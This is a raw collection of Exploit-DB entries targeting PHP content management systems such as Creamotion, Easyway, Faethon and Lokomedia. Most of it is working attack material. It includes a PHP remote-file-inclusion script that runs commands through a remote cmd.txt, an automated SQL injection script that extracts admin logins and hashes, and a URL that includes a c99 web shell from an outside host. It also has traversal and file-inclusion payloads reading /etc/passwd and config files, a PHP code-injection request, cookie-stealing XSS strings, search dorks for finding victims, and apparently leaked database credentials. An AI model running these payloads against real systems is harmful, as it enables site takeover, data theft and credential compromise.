deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4491
Description: CMS Creamotion - 'securite.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-06
Author: HACKERS PAL

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
/*
/*      CMS Creamotion - Remote File include
/*  This exploit should allow you to execute commands
/*            By : HACKERS PAL
/*             WwW.SoQoR.NeT
*/
print_r('
/**********************************************/
/*     CMS Creamotion Command Execution       */
/*    by HACKERS PAL <security@soqor.net>     */
/*         site: http://www.soqor.net         */');
if ($argc<3) {
	print_r('
/* --                                         */
/* Usage: php '.$argv[0].' host
/* Example:                                   */
/*    php '.$argv[0].' http://localhost/ id
/**********************************************/
');
	die;
}
error_reporting(0);
ini_set("max_execution_time",0);

$url=$argv[1];
$cmd=$argv[2];
$exploit="/_administration/securite.php?cfg[document_uri]=http://members.lycos.co.uk/soqor10/cmd.txt?";
$page=$url.$exploit;

Function get_page($url)
{

	if(function_exists("file_get_contents"))
	{

		$contents = file_get_contents($url);
	}
	else
	{
		$fp=fopen("$url","r");
		while($line=fread($fp,1024))
		{
			$contents=$contents.$line;
		}


	}
	return $contents;
}
$npage    = get_page($page);


if(eregi("Cannot execute a blank command",$npage))
{
	$pagecmd=$page."&cmd=$cmd";
	Die("\n[+] Exploit Is Working\n[+] Result For CMD : ".get_page($pagecmd)."\n[+] See The Vulnerabiliy article for more informations\n/*        Visit us : WwW.SoQoR.NeT            */\n/**********************************************/");
}
Else
{
	Die("\n[-] Exploit Failed\n/*        Visit us : WwW.SoQoR.NeT            */\n/**********************************************/");
}
#WwW.SoQoR.NeT
?>

# milw0rm.com [2007-10-06]
Exploit-DB #31867
Description: CMS Easyway - 'mid' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-30
Author: Lidloses_Auge

Exploit:
source: https://www.securityfocus.com/bid/29461/info

CMS Easyway is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

<?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
#           EasyWay CMS - SQL Injection Exploit     
#                                                             
#      Vulnerability discovered by: Lidloses_Auge             
#      Exploit coded by:            Lidloses_Auge
#      Greetz to:                   -=Player=- , Suicide, g4ms3, enco,
#                                   GPM, Free-Hack
#      Date:                        30.05.2008
#      Developer:		    http://www.ta-edv.de/index.php?lg=de&css=1&mid=320&art=1
#
###############################################################
#                                                             
#      Dork:  inurl:"index.php?css=mid=art="
#      Admin Panel: [Target]/cms/
#      Usage: php '.$argv[0].' [Target] [Userid]
#      Example for "http://www.site.com/index.php?css=1&mid=100&art=1"
#      => php '.$argv[0].' http://www.site.com 1
#                                                             
###############################################################
');
if ($argc == 3) {
echo "\nExploiting in progress:";
$url = $argv[1];
$source = file_get_contents($url.'/index.php?mid=null+order+by+100/*');
$errorcount = substr_count($source,'not a valid MySQL');
$sql = '/index.php?mid=null+union+select+';
for ($i = 25; $i>=1; $i--) {
   $source = file_get_contents($url.'/index.php?mid=null+order+by+'.$i.'/*');
   if (substr_count($source,'not a valid MySQL')!=$errorcount) {
      $errorcount2 = $i;
      $i = 1;
   }
}
for ($j=1; $j<$errorcount2; $j++) {
   $sql = $sql.'concat(0x3a3a3a3a3a,login,0x3a3a313a3a,passwort,0x3a3a323a3a),';   
}
$sql = $sql.'concat(0x3a3a3a3a3a,login,0x3a3a313a3a,passwort,0x3a3a323a3a)+from+cms_benutzer+where+id='.$argv[2].'/*';
$source = file_get_contents($url.$sql);
echo "\n";
if (strpos($source,'::::')!=0) {
   echo 'User: '.substr($source,strpos($source,'::::')+5,strpos($source,'::1::')-strpos($source,'::::')-5)."\n";
   echo 'Hash: '.substr($source,strpos($source,'::1::')+5,strpos($source,'::2::')-strpos($source,'::1::')-5)."\n";
} else {
   echo 'Exploit failed!'."\n";
}
} else {
echo "\nNot enough arguments!\n";
}
?>
Exploit-DB #1919
Description: CMS Faethon 1.3.2 - 'mainpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-16
Author: K-159

Exploit:
____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

					.OR.ID
ECHO_ADV_33$2006

---------------------------------------------------------------------------
[ECHO_ADV_33$2006] CMS Faethon 1.3.2 mainpath Remote File Inclusion
---------------------------------------------------------------------------

Author       : M.Hasran Addahroni a.k.a K-159
Date         : June, 16th 2006
Location     : Indonesia, Bali
Web          : http://advisories.echo.or.id/adv/adv33-K-159-2006.txt
Critical Lvl : Highly critical
Impact       : System access
Where        : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CMS Faethon 

Application : CMS Faethon 
version     : 1.3.2
URL         : http://cmsfaethon.com/
Description :

CMS Faethon is content management system for different web pages.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~~

in folder data we found vulnerability script header.php.

-----------------------header.php----------------------
....
<?php
        include($mainpath . 'survey.php');
        ?>
        <h2>RSS - cmsfaethon.com</h2>
        <div class="rss-menu">
                <?php
                $source = 'http://cmsfaethon.com/feed/articles/rss2.php?LangSet=cs';
                include($mainpath . 'rss-reader.php');
        ?>
...
----------------------------------------------------------

Variables $mainpath are not properly sanitized.When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.

Proof Of Concept:
~~~~~~~~~~~~~~~~

http://target.com/[cms_faethon_path]/data/header.php?mainpath=http://attacker.com/evil.txt?

Solution:
~~~~~~~~

sanitize variabel $mainpath in header.php


---------------------------------------------------------------------------
Shoutz:
~~~~~~
~ ping - my dearest wife, for all the luv the tears n the breath 
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous,kaiten
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ sinChan,x`shell,tety,sakitjiwa, m_beben, rizal, cR4SH3R, metalsploit
~ newbie_hacker@yahoogroups.com 
~ #aikmel #e-c-h-o @irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

# milw0rm.com [2006-06-16]
Exploit-DB #28047
Description: CMS Faethon 1.3.2 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-06-17
Author: M.Hasran Addahroni

Exploit:
source: https://www.securityfocus.com/bid/18489/info

CMS Faethon is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.

An attacker may leverage these issues to have an arbitrary remote file containing malicious script code execute in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.

http://www.example.com/[cms_faethon_path]/data/header.php?mainpath=http://www.example.com/evil.txt?
Exploit-DB #36791
Description: CMS Faethon 1.3.4 - 'articles.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-02-16
Author: tempe_mendoan

Exploit:
source: https://www.securityfocus.com/bid/52053/info

CMS Faethon is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CMS Faethon 1.3.4 is vulnerable; other versions may also be affected. 

http://www.example.com/articles.php?by_author=[SQL]
http://www.example.com/article.php?id=[SQL]
Exploit-DB #5558
Description: CMS Faethon 2.2 Ultimate - Remote File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-07
Author: RoMaNcYxHaCkEr

Exploit:
-==========================================[ ViVa Islam + YeMeN ]====================================-

# Name : CMS Faethon 2.2 Ultimate Multiple Remote Vulnerabilies

# Download From : http://cmsfaethon.org

# Found By : RoMaNcYxHaCkEr     [RoMaNTiC-TeaM]  ( BlackxHat , BlackBox , aLwHEeD )        

# Home Page :  WwW.4RxH.CoM            

+======================================================================================================================+

# Exploits :

1- RFI :

http://WwW.4RxH.CoM/22_ultimate/templates/header.php?mainpath=http://rxh.freehostia.com/shells/c99in.txt?

2- XSS :

http://WwW.4RxH.CoM/22_ultimate/search.php?what=&where=articles

+=======================================================================================================================+

# Greet To :

Tryag TeaM & All Members Of My Forum & Anyone Hate Me  :) 

# For Contact : webmaster@4rxh.com

# bEST wISHES

-==========================================[ ViVa Islam + YeMeN ]====================================-

# milw0rm.com [2008-05-07]
Exploit-DB #12378
Description: CMS Firebrand Tec - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-25
Author: R3VAN_BASTARD

Exploit:
======================================================================
         [L.F.I] Firebrand Technologies [L.F.I]
======================================================================
# Exploit Title	: CMS Firebrand Tec Local File Inclusion Vulnerability
# Date		: 04/24/2010
# Author	: R3VAN_BASTARD
# Software Link	: http://www.firebrandtech.com/
# Version	: V.1.x 
======================================================================
Dork		: intext:"Powered by Firebrand Technologies"

Vulneralbility	:
http://localhost/path/index.php?module=../../../../../../../../../../../../../../../etc/passwd%00
======================================================================
Thanks to:
Yoga0400 : Zeth (S3T4N) : Valencia : Mainhack.com (old members)
Serverisdown.org And All.
======================================================================
Exploit-DB #5693
Description: CMS from Scratch 1.1.3 - 'image.php' Directory Traversal
Type: webapps
Platform: php
Date: 2008-05-29
Author: Stack

Exploit:
------------------------------------------------------------------------
   CMS from Scratch <= 1.1.3 (image.php) Local Directory Traversal Vulnerability
------------------------------------------------------------------------
 
   author...: Stack
 mail.....: Wanted
 wanted by Egix
Gr33ts t0 : EgiX, ThE GeNeRal L0s3r , Houssamix ,Str0ke <==> special THanks to EgiX For founded it :d:)

Exploit :
        #  http://localhost/path/cms/images.php?dir=c:
        Example :
        #  http://localhost/path/cms/images.php?dir=c:WINDOWS/system32/
 
Exploit 2 :

          and you can upload php file ==>  php shell
          for example upload the php shell in my localhost
         c:AppServ/www/
         you go to link
        #  http://localhost/path/cms/images.php?dir=c:AppServ/www/
         after click to colon [parcourir] after select your shell and click upload
         and go to link
        #  http://localhost/shell.php
      desc :you can delete all folder of server
      just clike to mark delete in folder selected to delete

 thx : allah 

# milw0rm.com [2008-05-29]
Exploit-DB #4727
Description: CMS Galaxie Software - 'category_id' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-13
Author: MurderSkillz

Exploit:
###############################################################################################
#         ___   ___                         _
#        / _ \ / _ \                       | |
#   __ _| | | | | | |_ __  ___   _ __   ___| |_
#  / _` | | | | | | | '_ \/ __| | '_ \ / _ \ __|
# | (_| | |_| | |_| | | | \__ \_| | | |  __/ |_
#  \__, |\___/ \___/|_| |_|___(_)_| |_|\___|\__|
#   __/ |
#  |___/
###############################################################################################
#Program Title ################################################################################
#CMS Galaxie Software  - Remote SQL Injection
#
#Note #######################################################################################
#Alright, bible.org is vuln to the sql injection.. but weird as it may seem the login doesnt work.. its a possiblility you can inject ur own username and password with sql injection, or maybe they are using another table name for the login page. good luck and give me shouts =)
# 
#Script Website ##############################################################################
#http://www.galaxie.com
#
######################################################################################
#
#Spl0it #########################################################################################
#http://vicsite.com/[pathtowebapp]/category.php?scid=1&category_id=-99%20union%20all%20select%20null,concat(username,0x20,0x3a,0x20,userpass),0%20from%20admin/*
#
#vuln discovered by ###############################################################################
#MurderSkillz
#
#shoutz: z3r0, fish, ScUzZ, clorox, SyNiCaL, pr0be, rezen, str0ke,
#err0r, sick, trintitty, asdfhacks.com , a59, fury, <S>, communized and everyone else at g00ns.net
###############################################################################################

# milw0rm.com [2007-12-13]
Exploit-DB #38547
Description: CMS Gratis Indonesia - 'config.php' PHP Code Injection
Type: webapps
Platform: php
Date: 2013-06-04
Author: CWH Underground

Exploit:
source: https://www.securityfocus.com/bid/60337/info

CMS Gratis Indonesia is prone to a remote PHP code-injection vulnerability.

An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

CMS Gratis Indonesia 2.2 beta 1 is vulnerable; other versions may also be affected. 

POST /cmsid/?setup=yes HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/cmsid/?setup=yes
Cookie: __utma=11[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]810583.1; __utmz=11[PII_REDACTED]810583.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); lang=en_US; PHPSESSID=gbf1u3p49bid3b1g4cnhuplco5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
hostname=localhost&mysql_user=root&mysql_pass=toor&mysql_db_name=cmsid&db_prefix=iw_');phpinfo();//&step_1=Next+%C2%BB%C2%BB
Exploit-DB #45155
Description: CMS ISWEB 3.5.3 - Directory Traversal
Type: webapps
Platform: php
Date: 2018-08-06
Author: Thiago Sena

Exploit:
# Exploit Title: CMS ISWEB 3.5.3 - Directory Traversal
# Date: 2018-08-01
# Exploit Author: Thiago "thxsena" Sena
# Vendor Homepage: http://www.isweb.it
# Version: 3.5.3
# Tested on: Linux
# CVE : N/A

# PoC:
# CMS ISWEB 3.5.3 is vulnerable to directory traversal and local file download,
# as demonstrated by

moduli/downloadFile.php?file=oggetto_documenti/../.././inc/config.php

# Download and open it.
$dati_db = array(
    'tipo' => 'mysql',
    'host' => 'localhost',
    'user' => 'networkis',
    'password' => 'guybrush77',
    'database' => 'networkis',
    'database_offline' => '',
    'persistenza' => FALSE,
    'prefisso' => '',
    'like' => 'LIKE'
);
Exploit-DB #41290
Description: CMS Lite 1.3.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-10
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Creative Management System - CMS Lite v1.3.1 - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://www.cmslite.co.uk/
# Software Buy: https://codecanyon.net/item/creative-management-system-cms-lite/15297597
# Demo: http://www.cmslite.co.uk/
# Version: 1.3.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/?Style=[SQL]
# Etc...
# # # # #
Exploit-DB #5992
Description: CMS little 0.0.1 - 'template' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-07-02
Author: CWH Underground

Exploit:
======================================================================
  CMS little (index.php template) Local File Inclusion Vulnerability
======================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 2 July 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : CMS little
 VERSION     : 0.0.1
 VENDOR      : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/littlecms/CMSLite.zip
#####################################################

--- Local File Inclusion ---

-----------------------------
 Vulnerable File (index.php)
-----------------------------

@Line 
   64:  include $currentpage[template];
   65:  } else {
   66:	include $template.".tmpl.php";

---------
 Exploit
---------

[+] http://[Target]/[cmslite_path]/index.php?template=[LFI]


------
 POC
------

[+] http://[Target]/[cmslite_path]/index.php?template=../../../../../../../../boot.ini%00


    This exploit will open boot.ini in system file:

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

    You can change boot.ini to /etc/passwd%00 in linux OS.
##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-07-02]
Exploit-DB #17002
Description: CMS Loko Media - Local File Download
Type: webapps
Platform: php
Date: 2011-03-18
Author: Xr0b0t

Exploit:
[!]===========================================================================[!]

[~] CMS Lokomedia Local File Download Vulnerability
[~] Author : Xr0b0t (xrt.interpol@gmx.us)
[~] Homepage : http://www.indonesiancoder.com | http://xrobot.mobi | http://mc-crew.net
[~] Date : 16 Mei, 2010

[!]===========================================================================[!]

[ Software Information ]

[+] Vendor : http://bukulokomedia.com/home
[+] Price : free
[+] Vulnerability : LFD
[+] Dork : inurl:"*.php?file=" ;)
[+] Version : all version 

[!]===========================================================================[!]

[ Vulnerable File ]
    http://127.0.0.1/path/downlot.php?file=[LFD]



[ XpL ]

    http://127.0.0.1/path/downlot.php?file=../config/koneksi.php

etc etc etc ;]

[!]===========================================================================[!]

[ Thx TO ]

[+] Don Tukulesto DUDUl Kok G rene2...
[+] INDONESIAN CODER TEAM IndonesianHacker Malang CYber CREW Magelang Cyber
[+] tukulesto,M3NW5,arianom,N4CK0,abah_benu,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31,Yur4kha,Geni212


[ NOTE ]

[+] OJOK JOTOS2an YO ..
[+] Minggir semua Arumbia Team Mau LEwat ;)
[+] MBEM : lup u :">

[ QUOTE ]

[+] INDONESIANCODER still r0x...
[+] ARUmBIA TEam Was Here Cuy MINGIR Kabeh KAte lewat ..
[+] Malang Cyber Crew & Magelang Cyber Community
Exploit-DB #37445
Description: CMS Lokomedia - Multiple Cross-Site Scripting / HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2012-06-22
Author: the_cyber_nuxbie

Exploit:
source: https://www.securityfocus.com/bid/54150/info

CMS Lokomedia is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

CMS Lokomedia 1.5 is vulnerable; other versions may also be affected. 

http://www.example.com/lokomedia/adminweb/media.php?module=berita&halaman=<script>alert(document.cookie);</script>
http://www.example.com/lokomedia/adminweb/media.php?module=agenda&halaman=<script>alert(document.cookie);</script>
http://www.example.com/lokomedia/adminweb/media.php?module=download&halaman=<script>alert(document.cookie);</script>
http://www.example.com/lokomedia/adminweb/media.php?module=templates&halaman=<script>alert(document.cookie);</script>
http://www.example.com/lokomedia/adminweb/media.php?module=galerifoto&halaman=<script>alert(document.cookie);
http://www.example.com/Lokomedia/adminweb/media.php?module=hubungi